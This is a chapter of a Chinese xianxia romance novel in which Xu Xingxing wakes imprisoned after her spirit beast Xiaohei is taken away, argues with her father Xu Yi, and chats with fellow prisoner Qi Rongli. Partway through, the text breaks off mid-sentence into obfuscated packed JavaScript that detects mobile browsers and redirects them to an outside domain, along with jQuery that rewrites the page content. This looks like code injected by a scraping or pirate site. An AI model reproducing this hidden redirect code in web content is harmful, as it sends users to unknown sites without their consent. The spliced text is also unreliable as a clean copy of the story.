风声冽冽,吹得徐星星脑子有些恍惚,以为自己听错了。
“你说什么?”她声音不大,但足够小黑听到。
他垂眸持起她的手,放在另一只手心,随后两只手将她的柔腻牢牢地紧紧地拢在其中,说了句与问题完全无关的话:
“谁也不许碰。”
便是想想也不能。
徐星星跟不上他的脑回路,没好气地道:“谁碰了?就你碰了!你刚刚在放什么屁呢?什么任由玉丘随意处置,你说梦话呢?”
睺渊看着女子微微发怒的神色,心极度的软,喉却干涩起来。
就你碰了。
只他碰了。
他的视线划过她的眉眼来到唇上,喉结无意识的上下滚动两番。
这样好的星星。
是他的。
觊觎的人,都该死。
那肮脏腥臭的邪欲,仅是存于世间,他便会觉得极其膈应憎恶。
他知晓为何这玉丘之主抢着要他。
以他为饵,引星星上钩。
哈。
若他心中的戾气有形,如今定然已经遮天蔽日,密不透风。
那就如你所愿。
看看这主动送上门的到底是助你取物的饵,还是将你千刀万剐的刃。
见他不语,徐星星更觉得气,只认为他刚刚是脑子进水了,便蹙眉嘱咐道:“别再说话了,我会保护你。”
以她现在的能力,只要想保便一定能保得住。
便是天下人看着又如何?
她不介意将罗全次做的恶事再广播一遍。
若是最后仍无力回天。
那带着小黑逃跑她还是可以做到的。
罗川当然亦将睺渊的话收入了耳中,心中一喜,便直接下了定语:“看你这犬如此恳切,本座今日就随了你的愿,将你带回玉丘,重新发落,择日定会降下神罚,还这满城百姓一个公道!”
徐星星听了这话,立时气急,刚要辩驳,后颈被一手扣住,身子跟着一转,眼前一模糊,身边那人的唇又覆了下来。
嗯???
啊????
天呐!!!!!
这次是真的是在外边啊!!
三千修士可在旁边真看着呢!!
连花瓣保护膜都没有啊!!
不对……
还直播着呢!!!!!
徐星星脸红心跳身体烫,整个人红得像只水煮虾,可并没有煮多久,甚至脑子还没有转到把小黑推开那一步,她眼前蓦然一黑,便什么都不知道了。
*
徐星星做了一个很长的梦。
梦到黑叔死时那无能为力的自己。
梦到她现世的爹刚把小三娶回家时,那委曲求全的自己。
梦到爷爷奶奶来看她,给她带了一只仓鼠,灰扑扑的皮毛,吃东西时将整个口腔塞得满满当当,可爱死了。
梦到那段时间她活得战战兢兢,晚上只有把仓鼠盒子放在床头,摸着才能睡着。
镜头一转,一直乖巧的仓鼠不知为何出现在了地上,还是小三的脚下,于是那条鲜活的小生命,猝不及防间,化成了一滩血淋淋的碎肉。
小三浮夸地喊着她爸:“啊!老公,吓死我了,家里怎么有老鼠啊?”
笑了,老鼠和仓鼠分不清?
梦里的她气急了,发了疯,生了那么大的力气,将小三推倒在地,小三捂着肚子痛嚎,身下渗出血来。
流产了。
活该。
又梦到她被父亲关上门打,把扫把都快抽断了,她也没有掉泪。
很奇怪。
其实她挺爱哭的。
画面再次跳转,黑叔和仓鼠在周遭旋转放大,最后变成了一个人。
小黑。
小黑为什么浑身上下都是血?
哦,对了。
他们要杀了他。
别怕,小黑,我在。
我会保护好你的。
小黑朝她笑,笑着笑着,整个人却慢慢变得模糊不清起来,她生了慌,伸手去抓,却如何也碰不到。
恐慌与窒息来袭,她拼命去抱,全力去拢,却仍然无法将他留下。
他在全然消失前,凑过来触了下自己的唇,留下了虚无缥缈的两个字:
“等我。”
然后徐星星心便如碾碎一般地疼了起来。
乍然睁眼,泪水糊了满脸,她剧烈地呼吸着,像沉在水中良久,终于得见空气一样。
心仍在痛,却迅速地缓了下来,人就是这般奇怪,刚刚在梦中那清晰的晕眩与撕扯,只梦醒须臾,便忘得差不多了。
只剩下那句,
等我。
她又缓了一会,才观察起周围环境。
是一处莫大的洞窟,四周皆是坚硬的石壁,石壁上镶刻着大小珠玉宝石,将这洞窟映照地如白日般明亮。
窟底盛满了水,水中盈着蓝光,只她躺的地方是一张大约五米直径的圆台。
洞窟其中一面全然凿开,洞门上固着根根婴儿手臂般粗细的铁柱,不用看便知这铁栏外是一条冗长的走廊。
这地方,很眼熟。
思惩崖。
呵,她跟祁容礼倒是成了狱友了。
同样是看上了自己的本命灵兽,同样的被困方寸。
……不得不说。
御兽派还真是有点东西。
洞门传来一人声音:“醒了?”
徐星星一怔,连忙起身,开口第一句话便是:“小黑呢?”
许翼一身青衫,甚是朴素,不知已在洞门立了多久,听她这般问,微微蹙眉,良久,答:“玉丘。”
不待徐星星反应,他接着道:“昨日之事已足够荒唐,你就在此待着,不许再想多余之事。”
昨日?
她昏睡了这么久?
她只记得小黑亲了她,之后便昏了过去,再睁眼便已身陷囹圄。
为何?
小黑为何会这么做?
是怕连累了她??还是怕那般情景对她不利?
梦中的感觉再次来袭,她又觉得呼吸困难,心脏绞痛。
虽说知晓除了她,无人在意小黑死活,可……
其实她并不在意这个问题的答案,只是替许星儿觉得胸闷。
于是她再次开口:“我已和小黑缔结了情定,你还放任罗川将他带走?他若是出事……”
你的女儿可也就活不了了。
徐星星没说明白,但他定然能懂。
许翼看着女子隐怒的眉眼,想起那祸斗抱着她,一步一步走至阵法边缘,哪怕阵光次次将他皮肉穿透,也未能迫使他脚步稍颤。
当时岳百银和方知鸣已经等在那里,可祸斗却只看着自己,好像只愿将这女子交于他手,好似只有他才有资格触碰。
他终是来到祸斗身前,祸斗看着他道:“护着她,莫让她来寻我。”
随后,祸斗将身上红衣扯下,将女子裹住,后又看了她许久,才交给了他。
那眸光,好似怀中的是比自己性命还要重上许多的稀世珍宝。
竟一时让他这个父亲都自惭形秽起来。
许翼觉得自己要说些什么,却不知说什么。
在祸斗转身欲走时,他终是道了一声等等,待之回头,他又沉默了下来。
祸斗看着他,眸色睥睨,好似笑了:“若非你是许星儿的父亲,你觉得我会让你碰她?”
顿了顿,又道:“放心,
“我死前会与她解契。”
许翼放下心来,另一种别扭的情绪却又升了上来。
那股自许星儿走火入魔,经脉尽断时便生出来的情绪,他不知那是什么,可那心绪时不时像个石子一般在他的苍生道义中滚动擦磨,直让他隐隐作痛。
现下也是这般。
但便是隐痛不适,他还是会顺从这百年间以苍生为重的本能。
许翼看着牢中的徐星星,语气毫无波澜:“你在那般境遇下,只为护一只区区灵兽,便弃昆仑与苍生不顾,你想让我如何做?像你一般愚钝?好让整个昆仑沦为天下人的笑柄?”
不出所料的回答。
徐星星干巴巴地扯了下唇角:“话不投机半句多。”
总而言之,许星儿的命在他眼里是一文不值的,行为也必须是循规蹈矩的。
她也不想再多掰扯。
直接背对着许翼,躺在了石台上,并用那个自她醒来便盖在她身上的红衣,遮住了整个身子,连带着脑袋。
不知许翼又在洞门立了多久,直到她又快要睡着,许翼的气息才全然消失。
意识到许翼走远后,徐星星立时坐起身来,将红衣抱在怀里,在心中开始呼唤小黑。
一无所获。
不该啊,他俩缔结了情定,千里传音本该更顺畅才对。
“千里传音在这里没用的。”洞门外传来一道人声,声音不大,但足够她听清,“那石壁上的珠宝玉石可不仅仅是为照明和装饰用的。”
嗯??
狱友??
徐星星眼睛一亮,爬到石台边朝着洞门喊道:“祁容礼,你在哪呢??”
“对面。”
这么说着,对面原本漆黑的洞窟蓦然亮了起来。
透过铁栏便见石台上坐着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472466|161318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一人,一身浅青素衣衬得眉眼更为温润,只是许久不见,眼见着清瘦了许多。
徐星星惊讶:“这宝石还带开关呢??刚刚你怎么不露面?”
“你跟许翼有家事探讨,我明晃晃地在旁听着实属尴尬,由此便将这窟中的玉石熄了。”祁容礼笑得礼貌。
但之前相处下来,徐星星很准确地捕捉到他礼貌下的看笑话心态。
她直接戳破:“八卦还是在暗处听更有滋有味。”
祁容礼早已在徐星星那里知晓八卦是什么意思,遂道:
“确实如此。”
徐星星:“……”
“听说,许仙君与小黑缔结情定了?”
徐星星点头:“不负祁掌门期望,坚决遵循祁掌门留下的传统。”
祁容礼:“……”
看出女子心情不畅,他便难得担起主动找话题的角色:“小黑对许仙君来说真的是很重要啊,竟让你这般舍命护着了。”
徐星星没想到他这般说,微微怔了一下。
细想下来,他如此叹道,也实属正常。
毕竟抛开小黑灵兽的身份来说,她与小黑从相遇到如今也才不到一年。
在外人看来,她这般不分青红皂白极度护犊子的行为,大抵算得上离经叛道。
说起来,她一开始来到这个世界时,其实是一直没有实感的。
一上来便身受重伤,躺了好几个月才能走动。
能走动后也十分无聊,父女关系不好,没有朋友,无人谈心,憋屈只能自己排解,郁闷也只有默默消化。
现在她回想起来,仍觉得那段时日如梦一般不甚真切。
而她第一次与这个世界有所连接,便是因为小黑。
是她在那个林中,用自己不太习惯的术法,把那只巨大的猛兽弄昏。
然后,猛兽便变成了黑叔的模样。
不同,但是很像,太像,像到那一瞬间,她突然感念上天。
想着大概上天知晓她心中梦魇,才将一只与黑叔那么像的犬送到自己眼前,让她拯救。
如今想起,应该是从那时,她才真的开始感知接纳这个世界。
后来的事更不用说,小黑陪着她,护着她,还救了她。
所以,为何他如此重要?
他就这般重要。
无形之中,措手不及。
本该如此,顺理成章。
于是她回:“谁知道啊,反正他要是真死了我也不想活了。”
遍地鬼怪的世界,到处不公的世间,有什么可期待的。
无人在意的原身,漂泊无衣的魂魄,有什么可留恋的。
最在意她的人是他。
而她也一直知道,她最在意的人,亦是他。
祁容礼看她好像更加低落,深觉自己确实不是个会找话题的人,便闭上了嘴。
徐星星沉默一会,突然想到什么,纳闷问道:“千里传音都不能用,之前我师傅让宁宁给你送的传音符为何能用??”
“施以秘法便可。”
祁容礼看她的心情好似有所回升,稍松了口气,“左不过是些不重要之事,仙门长老便睁一只眼闭一只眼了。”
“那传音符你还剩了几个?”
“没了。”
“没了?”徐星星提高嗓音,“我也才跟你通了两次话!”
祁容礼无奈:“既给我了,那便随我用了。”
“那宁宁应了没?”徐星星挑了下眉。
“……”
祁容礼用咳嗽掩饰尴尬,“这个就不用你操心了。”
这般聊了几句,徐星星那请教的心思便又跳了出来了。
“祁前辈,你和宁宁是什么情况下缔结的情定??”
祁容礼一开始对于徐星星长驱直入的闺房问题,回得十分敷衍。
还是她用宁宁的日常记录本隔空威胁,才让他认真教导起来。
但祁容礼到底没有她脸皮厚,往往只说几句便借口困了,累了,头晕了。
这下子他避无可避,徐星星定要问个明白。
祁容礼还没回答,徐星星又问:“你缔结情定后,宁宁是什么反应?”
祁容礼的脸诡异地红了,几经变色,后无奈道:“许仙君,你不在意小黑性命了?怎得又开始探讨此事了?”
“在意是在意,可现在不是闲着没事干嘛。”况且如今有情定在,她能感应到小黑现在性命无忧。
徐星星看不得祁容礼在这墨迹,直接了当地抛出诱惑,“宁宁大概会来看我,我可以让她多来几次。”
祁容礼的身形果然一颤,随即正襟危坐道:“许恩人请问。”